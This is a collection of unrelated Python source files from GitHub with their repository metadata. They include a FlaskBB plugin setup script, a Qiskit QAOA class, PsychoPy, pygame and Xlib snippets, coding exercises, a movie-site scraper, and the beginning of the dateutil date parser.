name=\"flaskbb-plugin-portal\",\n version=version,\n url=\"https://flaskbb.org\",\n project_urls={\n \"Code\": \"https://github.com/flaskbb/flaskbb-plugin-portal\",\n \"Issue Tracker\": \"https://github.com/flaskbb/flaskbb-plugin-portal/issues\",\n },\n license=\"BSD\",\n author=\"FlaskBB Team\",\n author_email=\"peter.justin@outlook.com\",\n description=\"A portal plugin for FlaskBB\",\n long_description=__doc__,\n keywords=\"flaskbb plugin portal\",\n packages=find_packages(\".\"),\n include_package_data=True,\n package_data={\n \"\": [\"portal/translations/*/*/*.mo\", \"portal/translations/*/*/*.po\"]\n },\n zip_safe=False,\n platforms=\"any\",\n entry_points={\"flaskbb_plugins\": [\"portal = portal\"]},\n install_requires=[\"FlaskBB>=2.0.dev0\"],\n setup_requires=[\"Babel\"],\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Environment :: Web Environment\",\n \"Environment :: Plugins\",\n \"Framework :: Flask\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n)\n","repo_name":"ChaoticOnyx/OnyxForum","sub_path":"modules/portal/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"8805297019","text":"from typing import Optional\n\nimport numpy as np\n\nfrom qiskit.aqua.operators import (OperatorBase, X, I, H, CircuitStateFn,\n EvolutionFactory, LegacyBaseOperator)\nfrom qiskit.aqua.components.variational_forms import VariationalForm\nfrom qiskit.aqua.components.initial_states import InitialState\n\n\n# pylint: disable=invalid-name\n\n\nclass QAOAVarForm(VariationalForm):\n \"\"\"Global X phases and parameterized problem hamiltonian.\"\"\"\n\n def __init__(self,\n cost_operator: OperatorBase,\n p: int,\n initial_state: Optional[InitialState] = None,\n mixer_operator: Optional[OperatorBase] = None):\n \"\"\"\n Constructor, following the QAOA paper https://arxiv.org/abs/1411.4028\n\n Args:\n cost_operator: The operator representing the cost of\n the optimization problem,\n denoted as U(B, gamma) in the original paper.\n p: The integer parameter p, which determines the depth of the circuit,\n as specified in the original paper.\n initial_state: An optional initial state to use.\n mixer_operator: An optional custom mixer operator to use instead of\n the global X-rotations,\n denoted as U(B, beta) in the original paper.\n Raises:\n TypeError: invalid input\n \"\"\"\n super().__init__()\n self._cost_operator = cost_operator\n self._num_qubits = cost_operator.num_qubits\n self._p = p\n self._initial_state = initial_state\n self._num_parameters = 2 * p\n self._bounds = [(0, np.pi)] * p + [(0, 2 * np.pi)] * p\n self._preferred_init_points = [0] * p * 2\n\n # prepare the mixer operator\n if mixer_operator is None:\n # Mixer is just a sum of single qubit X's on each qubit. Evolving by this operator\n # will simply produce rx's on each qubit.\n num_qubits = self._cost_operator.num_qubits\n mixer_terms = [(I ^ left) ^ X ^ (I ^ (num_qubits - left - 1))\n for left in range(num_qubits)]\n self._mixer_operator = sum(mixer_terms)\n elif isinstance(mixer_operator, LegacyBaseOperator):\n self._mixer_operator = mixer_operator.to_opflow()\n else:\n self._mixer_operator = mixer_operator\n\n self.support_parameterized_circuit = True\n\n def construct_circuit(self, parameters, q=None):\n \"\"\" construct circuit \"\"\"\n if not len(parameters) == self.num_parameters:\n raise ValueError('Incorrect number of angles: expecting {}, but {} given.'.format(\n self.num_parameters, len(parameters)\n ))\n\n # initialize circuit, possibly based on given register/initial state\n if self._initial_state is not None:\n stateVector = CircuitStateFn(self._initial_state.construct_circuit('circuit'))\n circuit = stateVector.to_circuit_op()\n else:\n circuit = (H ^ self._num_qubits)\n\n for idx in range(self._p):\n circuit = (self._cost_operator * parameters[idx]).exp_i().compose(circuit)\n circuit = (self._mixer_operator * parameters[idx + self._p]).exp_i().compose(circuit)\n\n evolution = EvolutionFactory.build(self._cost_operator)\n circuit = evolution.convert(circuit)\n return circuit.to_circuit()\n\n @property\n def setting(self):\n \"\"\" returns setting \"\"\"\n ret = \"Variational Form: {}\\n\".format(self.__class__.__name__)\n params = \"\"\n for key, value in self.__dict__.items():\n if key[0] == \"_\":\n params += \"-- {}: {}\\n\".format(key[1:], value)\n ret += \"{}\".format(params)\n return ret\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/aqua/algorithms/minimum_eigen_solvers/qaoa/var_form.py","file_name":"var_form.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"30891843167","text":"\"\"\"\nPsychoPy basic code.\n\"\"\"\n\nfrom psychopy import event, visual\n\n# creating a 800 x 600 window\nwin = visual.Window(size=(800, 600))\n\n# waiting for any key press\nevent.waitKeys()\n\n# closing the window\nwin.close()\n","repo_name":"alexander-pastukhov/writing-games-with-python-and-psychopy","sub_path":"solutions/04-psychopy-basics/code01.py","file_name":"code01.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"71667427394","text":"import pytest\nimport numpy as np\nimport photon_stream as ps\nimport muons\nimport tempfile\nimport os\nimport pkg_resources\n\n\ndef test_ring_overlapp():\n overlapp = muons.tools.circle_overlapp(\n cx1=0.0, cy1=0.0, r1=1.0,\n cx2=0.0, cy2=2.0, r2=1.0)\n assert overlapp == 0.0\n\n overlapp = muons.tools.circle_overlapp(\n cx1=0.0, cy1=0.0, r1=2.0,\n cx2=0.0, cy2=0.0, r2=1.0)\n assert overlapp == 1.0\n\n overlapp = muons.tools.circle_overlapp(\n cx1=0.0, cy1=0.0, r1=100.0,\n cx2=0.0, cy2=100.0, r2=1.0)\n assert np.abs(overlapp - 0.5) < 2e-3\n\n overlapp = muons.tools.circle_overlapp(\n cx1=0.0, cy1=0.0, r1=100.0,\n cx2=0.0, cy2=99.0, r2=1.0)\n assert overlapp == 1.0\n\n overlapp = muons.tools.circle_overlapp(\n cx1=0.0, cy1=0.0, r1=100.0,\n cx2=0.0, cy2=101.0, r2=1.0)\n assert overlapp == 0.0\n\n\n@pytest.mark.xfail\ndef test_muon_detection():\n\n np.random.seed(seed=1)\n\n muon_truth_path = pkg_resources.resource_filename(\n 'muons',\n os.path.join('tests', 'resources', 'muon_sample_20140101_104.csv')\n )\n muon_truth = np.genfromtxt(muon_truth_path)\n\n muon_sample_path = pkg_resources.resource_filename(\n 'muons',\n os.path.join(\n 'tests',\n 'resources',\n '20140101_104_muon_sample.phs.jsonl.gz'\n )\n )\n\n run = ps.EventListReader(muon_sample_path)\n\n true_positives = 0\n true_negatives = 0\n\n false_positives = 0\n false_negatives = 0\n\n for event in run:\n clusters = ps.PhotonStreamCluster(event.photon_stream)\n ret = muons.detection(event, clusters)\n \n if ret['is_muon']:\n if event.observation_info.event in muon_truth:\n true_positives += 1\n else:\n false_positives += 1\n else:\n if event.observation_info.event in muon_truth:\n false_negatives += 1\n else:\n true_negatives += 1\n\n precision = true_positives / (true_positives + false_positives)\n sensitivity = true_positives / (true_positives + false_negatives)\n\n print('precision', precision)\n print('sensitivity', sensitivity)\n\n assert precision > 0.995\n assert sensitivity > 0.76\n","repo_name":"fact-project/muons","sub_path":"muons/tests/test_muon_detection.py","file_name":"test_muon_detection.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15569205048","text":"from Xlib import X\n\n\nclass XSelect:\n def __init__(self, display):\n # X display\n self.d = display\n\n # Screen\n self.screen = self.d.screen()\n\n # Draw on the root window (desktop surface)\n self.window = self.screen.root\n\n # If only I could get this working...\n # cursor = xobject.cursor.Cursor(self.d, Xcursorfont.crosshair)\n # cursor = self.d.create_resource_object('cursor', Xcursorfont.X_cursor)\n self.cursor = X.NONE\n\n colormap = self.screen.default_colormap\n color = colormap.alloc_color(0, 0, 0)\n # Xor it because we'll draw with X.GXxor function\n xor_color = color.pixel ^ 0xffffff\n\n self.gc = self.window.create_gc(\n line_width=1,\n line_style=X.LineSolid,\n fill_style=X.FillOpaqueStippled,\n fill_rule=X.WindingRule,\n cap_style=X.CapButt,\n join_style=X.JoinMiter,\n foreground=xor_color,\n background=self.screen.black_pixel,\n function=X.GXxor,\n graphics_exposures=False,\n subwindow_mode=X.IncludeInferiors,\n )\n\n def get_mouse_selection(self):\n started = False\n start = dict(x=0, y=0)\n end = dict(x=0, y=0)\n last = None\n drawlimit = 10\n i = 0\n\n self.window.grab_pointer(self.d, X.PointerMotionMask | X.ButtonReleaseMask | X.ButtonPressMask,\n X.GrabModeAsync, X.GrabModeAsync, X.NONE, self.cursor, X.CurrentTime)\n\n self.window.grab_keyboard(self.d, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)\n\n while True:\n e = self.d.next_event()\n\n # Window has been destroyed, quit\n if e.type == X.DestroyNotify:\n break\n\n # Mouse button press\n elif e.type == X.ButtonPress:\n # Left mouse button?\n if e.detail == 1:\n start = dict(x=e.root_x, y=e.root_y)\n started = True\n\n # Right mouse button?\n elif e.detail == 3:\n return\n\n # Mouse button release\n elif e.type == X.ButtonRelease:\n end = dict(x=e.root_x, y=e.root_y)\n if last:\n self.draw_rectangle(start, last)\n break\n\n # Mouse movement\n elif e.type == X.MotionNotify and started:\n i = i + 1\n if i % drawlimit != 0:\n continue\n\n if last:\n self.draw_rectangle(start, last)\n\n last = dict(x=e.root_x, y=e.root_y)\n self.draw_rectangle(start, last)\n\n self.d.ungrab_keyboard(X.CurrentTime)\n self.d.ungrab_pointer(X.CurrentTime)\n self.d.sync()\n\n coords = self.get_coords(start, end)\n if coords['width'] <= 1 or coords['height'] <= 1:\n return\n return [coords['start']['x'], coords['start']['y'], coords['width'], coords['height']]\n\n @staticmethod\n def get_coords(start, end):\n safe_start = dict(x=0, y=0)\n safe_end = dict(x=0, y=0)\n\n if start['x'] > end['x']:\n safe_start['x'] = end['x']\n safe_end['x'] = start['x']\n else:\n safe_start['x'] = start['x']\n safe_end['x'] = end['x']\n\n if start['y'] > end['y']:\n safe_start['y'] = end['y']\n safe_end['y'] = start['y']\n else:\n safe_start['y'] = start['y']\n safe_end['y'] = end['y']\n\n return {\n 'start': {\n 'x': safe_start['x'],\n 'y': safe_start['y'],\n },\n 'end': {\n 'x': safe_end['x'],\n 'y': safe_end['y'],\n },\n 'width': safe_end['x'] - safe_start['x'],\n 'height': safe_end['y'] - safe_start['y'],\n }\n\n def draw_rectangle(self, start, end):\n coords = self.get_coords(start, end)\n self.window.rectangle(self.gc,\n coords['start']['x'],\n coords['start']['y'],\n coords['end']['x'] - coords['start']['x'],\n coords['end']['y'] - coords['start']['y']\n )\n","repo_name":"qbbr/tray-screenshot-tools","sub_path":"XSelect.py","file_name":"XSelect.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71486959233","text":"\"\"\"\nQuestion:\nGiven the root of a binary tree, find the maximum value V for which there exist different nodes \n'A and B where V = |A.val - B.val| and A is an ancestor of B.\n\nA node A is an ancestor of B if either: any child of A is equal to B, or \nany child of A is an ancestor of B.\n\n \n\nExample 1:\n\n\nInput: root = [8,3,10,1,6,null,14,null,null,4,7,13]\nOutput: 7\nExplanation: We have various ancestor-node differences, some of which are given below :\n|8 - 3| = 5\n|3 - 7| = 4\n|8 - 1| = 7\n|10 - 13| = 3\nAmong all possible differences, the maximum value of 7 is obtained by |8 - 1| = 7.\n\"\"\"\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def maxAncestorDiff(self, root: TreeNode) -> int:\n \n \n self.res = 0\n min_ = float(\"inf\")\n max_ = float(\"-inf\")\n \n def td_dfs(root, min_, max_):\n \n if not root:\n return\n \n #print(root.val, min_, max_, self.res)\n \n max_ = max(max_, root.val)\n min_ = min(min_, root.val)\n self.res = max(self.res, abs(max_ - min_))\n \n td_dfs(root.left, min_, max_)\n td_dfs(root.right, min_, max_)\n\n td_dfs(root, min_, max_)\n return self.res ","repo_name":"anjaligopi/leetcode","sub_path":"daily_coding_challenge/october_2020/max_distance_between_node_and_ancestor_1026.py","file_name":"max_distance_between_node_and_ancestor_1026.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44565831525","text":"#Faça um algoritmo que leia o preço de um produto e mostre\r\n#seu novo preço, com 5% de desconto\r\n\r\nmoney = float(input('Qual é o preço do produto ?: R$'))\r\n\r\nporcentagem = 5/100\r\ndesconto=money-(porcentagem*money)\r\n\r\n\r\nprint ('O produto que custava {}, na promoção com desconto de 5% vai custar R${:.2f}'.format(money,desconto))","repo_name":"FelipePeterle/Curso-em-Video---Python-Mundo-1-","sub_path":"ex012.py","file_name":"ex012.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28651016804","text":"import random\nimport pygame\nfrom glitchygames.color import WHITE\nfrom .. import game_objects\nfrom glitchygames.movement import Speed\nfrom glitchygames.sprites import Sprite\n\n\nclass BallSprite(Sprite):\n\n def __init__(self, x=0, y=0, width=20, height=20, groups=pygame.sprite.LayeredDirty(),\n collision_sound=None):\n super().__init__(x=x, y=y, width=width, height=height, groups=groups)\n self.use_gfxdraw = True\n self.image.convert()\n self.image.set_colorkey(0)\n self.direction = 0\n self.speed = Speed(4, 2)\n if collision_sound:\n self.snd = game_objects.load_sound(collision_sound)\n self.color = WHITE\n\n self.reset()\n\n # The ball always needs refreshing.\n # This saves us a set on dirty every update.\n self.dirty = 2\n\n @property\n def color(self):\n return self._color\n\n @color.setter\n def color(self, new_color):\n self._color = new_color\n pygame.draw.circle(\n self.image,\n self._color,\n (self.width // 2, self.height // 2),\n 5,\n 0\n )\n\n def _do_bounce(self):\n if self.rect.y <= 0:\n self.snd.play()\n self.rect.y = 0\n self.speed.y *= -1\n if self.rect.y + self.height >= self.screen_height:\n self.snd.play()\n self.rect.y = self.screen_height - self.height\n self.speed.y *= -1\n\n def reset(self):\n self.x = random.randrange(50, 750)\n self.y = random.randrange(25, 400)\n\n # Direction of ball (in degrees)\n self.direction = random.randrange(-45, 45)\n\n # Flip a 'coin'\n if random.randrange(2) == 0:\n # Reverse ball direction, let the other guy get it first\n self.direction += 180\n\n # self.rally.reset()\n\n self.rect.x = self.x\n self.rect.y = self.y\n\n # This function will bounce the ball off a horizontal surface (not a vertical one)\n def bounce(self, diff):\n self.direction = (180 - self.direction) % 360\n self.direction -= diff\n\n # Speed the ball up\n self.speed *= 1.1\n\n def update(self):\n self.rect.y += self.speed.y\n self.rect.x += self.speed.x\n\n self._do_bounce()\n\n if self.rect.x > self.screen_width or self.rect.x < 0:\n self.reset()\n\n if self.y > self.screen_height or self.rect.y < 0:\n self.reset()\n\n # Do we bounce off the left of the screen?\n if self.x <= 0:\n self.direction = (360 - self.direction) % 360\n self.x = 1\n\n # Do we bounce of the right side of the screen?\n if self.x > self.screen_width - self.width:\n self.direction = (360 - self.direction) % 360\n","repo_name":"terrysimons/glitchygames","sub_path":"glitchygames/game_objects/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1696519964","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nimport requests\n\nfrom odoo import models, fields, api\n\nfrom dateutil.relativedelta import relativedelta\nfrom odoo.addons.base.ir.ir_cron import _intervalTypes\nfrom odoo.service import server\nserver.SLEEP_INTERVAL = 10\n\n\nserver.SLEEP_INTERVAL = 10\n\n_intervalTypes['seconds'] = lambda interval: relativedelta(seconds=interval)\n\nclass ir_cron(models.Model):\n _inherit = 'ir.cron'\n interval_type = fields.Selection(selection_add=[('seconds', 'Seconds')])\n\n\nclass Movies(models.Model):\n _name = 'spider.movies'\n _rec_name = 'name'\n\n name = fields.Char(string='名称')\n url = fields.Char(string='URL')\n source = fields.Char(string='数据源')\n description = fields.Text(string='描述')\n\n # changepage用来产生不同页数的链接\n def changepage(self, url, total_page):\n page_group = ['https://www.dygod.net/html/gndy/jddy/index.html']\n for i in range(2, total_page + 1):\n link = re.sub('jddy/index', 'jddy/index_' + str(i), url, re.S)\n page_group.append(link)\n return page_group\n\n # pagelink用来产生页面内的视频链接页面\n def pagelink(self, url):\n base_url = 'https://www.dygod.net/html/gndy/jddy/'\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}\n req = requests.get(url, headers=headers)\n req.encoding = 'gbk' # 指定编码,否则会乱码\n pat = re.compile('<a href=\"/html/gndy/jddy/(.*?)\" class=\"ulink\" title=(.*?)/a>', re.S) # 获取电影列表网址\n reslist = re.findall(pat, req.text)\n\n finalurl = []\n for i in range(1, 25):\n xurl = reslist[i][0]\n finalurl.append(base_url + xurl)\n return finalurl # 返回该页面内所有的视频网页地址\n\n # getdownurl获取页面的视频地址\n def getdownurl(self, url):\n headers = {\n 'User-Agent‘:‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}\n header = {\"User-Agent\", \"Mozilla/5.0\"}\n req = requests.get(url)\n req.close()\n if req.status_code == 404:\n return 'success'\n else:\n req.encoding = 'gbk' # 指定编码,否则会乱码\n pat = re.compile('<a href=\"ftp(.*?)\">ftp', re.S) # 获取下载地址\n reslist = re.findall(pat, req.text)\n source = reslist[0].split(\"[\")[1].split(\"]\")[0]\n name = reslist[0].split(\"]\")[1]\n self.create({'source': source, 'name': name, 'url': url})\n furl = 'ftp' + reslist[0]\n print(furl)\n return furl\n\n @api.model\n def spider(self):\n html = \"https://www.dygod.net/html/gndy/jddy/index.html\"\n print('你即将爬取的网站是:https://www.dygod.net/html/gndy/jddy/index.html')\n pages = input('请输入需要爬取的页数:')\n p1 = self.changepage(html, int(pages))\n with open('电影天堂下载地址.lst', 'w') as f:\n j = 0\n for p1i in p1:\n j = j + 1\n print('正在爬取第%d页,网址是 %s ...' % (j, p1i))\n p2 = self.pagelink(p1i)\n for p2i in p2:\n p3 = self.getdownurl(p2i)\n if len(p3) == 0:\n pass\n else:\n finalurl = p3\n f.write(finalurl + '\\n')\n print('所有页面地址爬取完毕!')","repo_name":"052603/web-spider","sub_path":"models/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31030660615","text":"import numpy as np\nfrom assignment_rl.flight_mechanics.atmosphere import AtmosphereModel\nfrom assignment_rl.constants_and_defaults.constants_and_defaults import dens_top , h_top, R_0\n\ndef linear_atmosphere(h,dens_0,dens_top,h_top):\n \n dens = h/h_top*(dens_top - dens_0) + dens_0\n \n return dens\n \n \nclass LinearAtmosphereModel(AtmosphereModel): \n def __init__(self,\n *args, \n h = R_0[2] , # [m] Altitude\n dens_top = dens_top , # [kg/m**3] Density at top interpolation point\n h_top = h_top , # [m] Altitude at top interpolation point\n **kwargs): \n self.h = h\n self.dens_top = dens_top \n self.h_top = h_top \n super().__init__(*args,**kwargs)\n def evaluate(self,h=None,dens_0=None ,dens_top=None ,h_top=None ,**kwargs): \n if h is None:\n h = self.h\n else:\n self.h = h \n if dens_0 is None:\n dens_0 = self.dens_0\n else:\n self.dens_0 = dens_0 \n if dens_top is None:\n dens_top = self.dens_top\n else:\n self.dens_top = dens_top \n if h_top is None:\n h_top = self.h_top\n else:\n self.h_top = h_top \n \n dens = linear_atmosphere(h=h,dens_0=dens_0,dens_top= dens_top,h_top=h_top)\n self.dens = dens\n return dens\n\n \n \n ","repo_name":"guidoca/rocket_parachute_simulator","sub_path":"src/assignment_rl/flight_mechanics/atmosphere/linear_atmosphere_model.py","file_name":"linear_atmosphere_model.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5855012490","text":"# -*- coding:iso-8859-1 -*-\n\"\"\"\nThis module offers a generic date/time string parser which is able to parse\nmost known formats to represent a date and/or time.\n\nAdditional resources about date/time string formats can be found below:\n\n- `A summary of the international standard date and time notation\n <http://www.cl.cam.ac.uk/~mgk25/iso-time.html>`_\n- `W3C Date and Time Formats <http://www.w3.org/TR/NOTE-datetime>`_\n- `Time Formats (Planetary Rings Node) <http://pds-rings.seti.org/tools/time_formats.html>`_\n- `CPAN ParseDate module\n <http://search.cpan.org/~muir/Time-modules-2013.0912/lib/Time/ParseDate.pm>`_\n- `Java SimpleDateFormat Class\n <https://docs.oracle.com/javase/6/docs/api/java/text/SimpleDateFormat.html>`_\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport datetime\nimport string\nimport time\nimport collections\nfrom io import StringIO\n\nfrom six import text_type, binary_type, integer_types\n\nfrom . import relativedelta\nfrom . import tz\n\n__all__ = [\"parse\", \"parserinfo\"]\n\n\nclass _timelex(object):\n\n def __init__(self, instream):\n if isinstance(instream, text_type):\n instream = StringIO(instream)\n\n self.instream = instream\n self.wordchars = ('abcdfeghijklmnopqrstuvwxyz'\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_'\n 'ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ'\n 'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞ')\n self.numchars = '0123456789'\n self.whitespace = ' \\t\\r\\n'\n self.charstack = []\n self.tokenstack = []\n self.eof = False\n\n def get_token(self):\n \"\"\"\n This function breaks the time string into lexical units (tokens), which\n can be parsed by the parser. Lexical units are demarcated by changes in\n the character set, so any continuous string of letters is considered one\n unit, any continuous string of numbers is considered one unit.\n\n The main complication arises from the fact that dots ('.') can be used\n both as separators (e.g. \"Sep.20.2009\") or decimal points (e.g.\n \"4:30:21.447\"). As such, it is necessary to read the full context of\n any dot-separated strings before breaking it into tokens; as such, this\n function maintains a \"token stack\", for when the ambiguous context\n demands that multiple tokens be parsed at once.\n \"\"\"\n if self.tokenstack:\n return self.tokenstack.pop(0)\n\n seenletters = False\n token = None\n state = None\n wordchars = self.wordchars\n numchars = self.numchars\n whitespace = self.whitespace\n\n while not self.eof:\n # We only realize that we've reached the end of a token when we find\n # a character that's not part of the current token - since that\n # character may be part of the next token, it's stored in the\n # charstack.\n if self.charstack:\n nextchar = self.charstack.pop(0)\n else:\n nextchar = self.instream.read(1)\n while nextchar == '\\x00':\n nextchar = self.instream.read(1)\n\n if not nextchar:\n self.eof = True\n break\n elif not state:\n # First character of the token - determines if we're starting\n # to parse a word, a number or something else.\n token = nextchar\n if nextchar in wordchars:\n state = 'a'\n elif nextchar in numchars:\n state = '0'\n elif nextchar in whitespace:\n token = ' '\n break # emit token\n else:\n break # emit token\n elif state == 'a':\n # If we've already started reading a word, we keep reading\n # letters until we find something that's not part of a word.\n seenletters = True\n if nextchar in wordchars:\n token += nextchar\n elif nextchar == '.':\n token += nextchar\n state = 'a.'\n else:\n self.charstack.append(nextchar)\n break # emit token\n elif state == '0':\n # If we've already started reading a number, we keep reading\n # numbers until we find something that doesn't fit.\n if nextchar in numchars:\n token += nextchar\n elif nextchar == '.':\n token += nextchar\n state = '0.'\n else:\n self.charstack.append(nextchar)\n break # emit token\n elif state == 'a.':\n # If we've seen some letters and a dot separator, continue\n # parsing, and the tokens will be broken up later.\n seenletters = True\n if nextchar == '.' or nextchar in wordchars:\n token += nextchar\n elif nextchar in numchars and token[-1] == '.':\n token += nextchar\n state = '0.'\n else:\n self.charstack.append(nextchar)\n break # emit token\n elif state == '0.':\n # If we've seen at least one dot separator, keep going, we'll\n # break up the tokens later.\n if nextchar == '.' or nextchar in numchars:\n token += nextchar\n elif nextchar in wordchars and token[-1] == '.':\n token += nextchar\n state = 'a.'\n else:\n self.charstack.append(nextchar)\n break # emit token\n\n if (state in ('a.', '0.') and (seenletters or token.count('.') > 1 or\n token[-1] == '.')):\n l = token.split('.')\n token = l[0]\n for tok in l[1:]:\n self.tokenstack.append('.')\n if tok:\n self.tokenstack.append(tok)\n\n return token\n\n def __iter__(self):\n return self\n\n def __next__(self):\n token = self.get_token()\n if token is None:\n raise StopIteration\n\n return token\n\n def next(self):\n return self.__next__() # Python 2.x support\n\n def split(cls, s):\n return list(cls(s))\n split = classmethod(split)\n\n\nclass _resultbase(object):\n\n def __init__(self):\n for attr in self.__slots__:\n setattr(self, attr, None)\n\n def _repr(self, classname):\n l = []\n for attr in self.__slots__:\n value = getattr(self, attr)\n if value is not None:\n l.append(\"%s=%s\" % (attr, repr(value)))\n return \"%s(%s)\" % (classname, \", \".join(l))\n\n def __repr__(self):\n return self._repr(self.__class__.__name__)\n\n\nclass parserinfo(object):\n \"\"\"\n Class which handles what inputs are accepted. Subclass this to customize the\n language and acceptable values for each parameter.\n\n :param dayfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the day (`True`) or month (`False`). If\n `yearfirst` is set to `True`, this distinguishes between YDM and\n YMD. Default is `False`.\n\n :param yearfirst:\n Whether to interpret the first value in an ambiguous 3-integer date\n (e.g. 01/05/09) as the year. If `True`, the first number is taken to\n be the year, otherwise the last number is taken to be the year.\n Default is `False`.\n \"\"\"\n\n # m from a.m/p.m, t from ISO T separator\n JUMP = [\" \", \".\", \",\", \";\", \"-\", \"/\", \"'\",\n \"at\", \"on\", \"and\", \"ad\", \"m\", \"t\", \"of\",\n \"st\", \"nd\", \"rd\", \"th\"]\n\n WEEKDAYS = [(\"Mon\", \"Monday\"),\n (\"Tue\", \"Tuesday\"),\n (\"Wed\", \"Wednesday\"),\n (\"Thu\", \"Thursday\"),\n (\"Fri\", \"Friday\"),\n (\"Sat\", \"Saturday\"),\n (\"Sun\", \"Sunday\")]\n MONTHS = [(\"Jan\", \"January\"),\n (\"Feb\", \"February\"),\n (\"Mar\", \"March\"),\n (\"Apr\", \"April\"),\n (\"May\", \"May\"),\n (\"Jun\", \"June\"),\n (\"Jul\", \"July\"),\n (\"Aug\", \"August\"),\n (\"Sep\", \"Sept\", \"September\"),\n (\"Oct\", \"October\"),\n (\"Nov\", \"November\"),\n (\"Dec\", \"December\")]\n HMS = [(\"h\", \"hour\", \"hours\"),\n (\"m\", \"minute\", \"minutes\"),\n (\"s\", \"second\", \"seconds\")]\n AMPM = [(\"am\", \"a\"),\n (\"pm\", \"p\")]\n UTCZONE = [\"UTC\", \"GMT\", \"Z\"]\n PERTAIN = [\"of\"]\n TZOFFSET = {}\n\n def __init__(self, dayfirst=False, yearfirst=False):\n self._jump = self._convert(self.JUMP)\n self._weekdays = self._convert(self.WEEKDAYS)\n self._months = self._convert(self.MONTHS)\n self._hms = self._convert(self.HMS)\n self._ampm = self._convert(self.AMPM)\n self._utczone = self._convert(self.UTCZONE)\n self._pertain = self._convert(self.PERTAIN)\n\n self.dayfirst = dayfirst\n self.yearfirst = yearfirst\n\n self._year = time.localtime().tm_year\n self._century = self._year // 100*100\n\n def _convert(self, lst):\n dct = {}\n for i, v in enumerate(lst):\n if isinstance(v, tuple):\n for v in v:\n dct[v.lower()] = i\n else:\n dct[v.lower()] = i\n return dct\n\n def jump(self, name):\n return name.lower() in self._jump\n\n def weekday(self, name):\n if len(name) >= 3:\n try:\n return self._weekdays[name.lower()]\n except KeyError:\n pass\n return None\n\n def month(self, name):\n if len(name) >= 3:\n try:\n return self._months[name.lower()]+1\n except KeyError:\n pass\n return None\n\n def hms(self, name):\n try:\n return self._hms[name.lower()]\n except KeyError:\n return None\n\n def ampm(self, name):\n try:\n return self._ampm[name.lower()]\n except KeyError:\n return None\n\n def pertain(self, name):\n return name.lower() in self._pertain\n\n def utczone(self, name):\n return name.lower() in self._utczone\n\n def tzoffset(self, name):\n if name in self._utczone:\n return 0\n\n return self.TZOFFSET.get(name)\n\n def convertyear(self, year):\n if year < 100:\n year += self._century\n if abs(year-self._year) >= 50:\n if year < self._year:\n year += 100\n else:\n year -= 100\n return year\n\n def validate(self, res):\n # move to info\n if res.year is not None:\n res.year = self.convertyear(res.year)\n\n if res.tzoffset == 0 and not res.tzname or res.tzname == 'Z':\n res.tzname = \"UTC\"\n res.tzoffset = 0\n elif res.tzoffset != 0 and res.tzname and self.utczone(res.tzname):\n res.tzoffset = 0\n return True\n\n\nclass parser(object):\n\n def __init__(self, info=None):\n self.info = info or parserinfo()\n\n def parse(self, timestr, default=None, ignoretz=False, tzinfos=None,\n **kwargs):\n \"\"\"\n Parse the date/time string into a datetime object.\n\n :param timestr:\n Any date/time string using the supported formats.\n\n :param default:\n The default datetime object, if this is a datetime object and not\n `None`, elements specified in `timestr` replace elements in the\n default object.\n\n :param ignoretz:\n Whether or not to ignore the time zone.\n\n :param tzinfos:\n A time zone, to be applied to the date, if `ignoretz` is `True`.\n This can be either a subclass of `tzinfo`, a time zone string or an\n integer offset.\n\n :param **kwargs:\n Keyword arguments as passed to `_parse()`.\n\n :return:\n Returns a `datetime.datetime` object or, if the `fuzzy_with_tokens`\n option is `True`, returns a tuple, the first element being a\n `datetime.datetime` object, the second a tuple containing the\n fuzzy tokens.\n\n :raises ValueError:\n Raised for invalid or unknown string format, if the provided\n `tzinfo` is not in a valid format, or if an invalid date would\n be created.\n\n :raises OverFlowError:\n Raised if the parsed date 